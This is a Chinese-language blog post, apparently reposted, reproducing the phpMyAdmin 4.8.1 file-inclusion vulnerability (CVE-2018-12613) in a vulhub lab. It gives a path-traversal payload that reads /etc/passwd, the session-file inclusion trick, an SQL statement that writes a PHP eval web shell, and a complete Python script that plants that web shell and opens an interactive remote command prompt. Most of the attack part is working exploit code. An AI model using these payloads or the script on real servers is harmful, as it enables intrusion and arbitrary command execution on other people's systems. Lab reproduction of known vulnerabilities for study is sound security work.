[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现
Posted F1ght!!
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现相关的知识,希望对你有一定的参考价值。
[网络安全任重道远]
~
题目有点长
~
是这样的。这是vulhub的复现,算是第一个接触的vulhub吧,FFFLLLAAAGGG
~
vulhub ----- 是一个漏洞集成平台,依赖于docker,可以方便的复现漏洞,github上有
phpmyadmin ----- 是网页版的数据库管理工具,
CVE编号是 ----- CVE-2018-12613,
其漏洞有 ----- 文件包含和远程命令执行,
~
过程
漏洞具体原因可参考:
https://www.cnblogs.com/leixiao-/p/10265150.html
这篇文章
这里直接演示,就是文件包含:
~
打开放在服务器上的vulhub
找到:
进入:
自动编译环境:
docker-compose build
启动环境并查看端口
docker-compose up -d
docker ps //查看进程信息
然后访问服务器的8080端口就行了:
开始测试
payload:
https://www.xxx.com?target=db_datadict.php%253f/../../../../../../../etc/passwd
成功:
尝试在新建查询,执行如下语句:
SELECT '<?=phpinfo()?>';
然后查询cookie中的session值,在网页中进行包含,从而实现命令执行:
得到seesion,在网址栏使用语句:
?target=db_sql.php%253f/../../../../../../../../tmp/sess_+查到的session
成功命令执行,得到phpinfo:
既然可以命令执行,那么可以用file_get_contents函数往上面写码,然后连shell:
SELECT "<?=file_put_contents('1.php','<?php eval(@$_POST[a]); ?>')?>";
然后通过seesion访问其1.php所在位置就行了,就能进行连接了:
~
用python脚本来进行RCE,也可以一直用:
#========================== by F1ght_UwU =========================================================
import re
import requests
#手动得到的session,内存中有
session_1 = 'your_session_use_your_F12_TO_FIND'#需要及时更改
url_import = 'http://your_server/import.php'
url_session = 'http://your_server/index.php?target=db_sql.php?/../../../../../../../tmp/sess_'+session_1
url_testpage= 'http://your_server/F1ght.php'
cmd = '''SELECT "<?=file_put_contents('F1ght.php','<?php eval(@$_POST[fun]); ?>')?>";'''
#定义两个headers
headers_1 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
'Accept':'*/*',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
}
headers_2 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
'Accept':'*/*',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest',
'Content-Length':'108',
'Origin':'http://your_server:your_port',
'Connection':'close',
'Cookie':'phpMyAdmin='+session_1+'; pma_lang=zh_CN; ',
'Pragma':'no-cache',
'Cache-Control':'no-cache',
}
r = requests.get(url_session,headers = headers_1)
#print(r.text)
pattern = re.compile('s:16:"(.+)";br')
result = pattern.findall(r.text)
#print(result[0])
token = result[0]
data = 'token='+token+'&sql_query='+cmd+'&ajax_request=true'
r = requests.post(url_import,data = data,headers = headers_2)
r = requests.get(url_session,headers = headers_1)
r = requests.get(url_testpage)
#if r.status_code == 200:
#while 1:
#print('Success')
def check_status(url):
r=requests.get(url)
return r.status_code #尝试状态
def RCE():
cmd = str(input(':'))
payload_cmd = {
'fun':'system("'+cmd+'");' #尝试传入payload来进行命令执行
}
#print(payload_cmd)
r = requests.post(url_testpage,headers=headers_2,data = payload_cmd)
print(r.text)
if __name__ == '__main__':
if check_status(url_testpage) == 200:
while 1:
print('Success, please input your command')
RCE()
else:
print('sorry, unable to enter this webpage, advice to check your session in your code')
exit()
记得更改your_sever,和session,改成自己的:
~
执行效果:
以上是关于[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现的主要内容,如果未能解决你的问题,请参考以下文章
[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现
[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现
phpmyadmin 4.8.1远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1远程文件包含漏洞(CVE-2018-12613)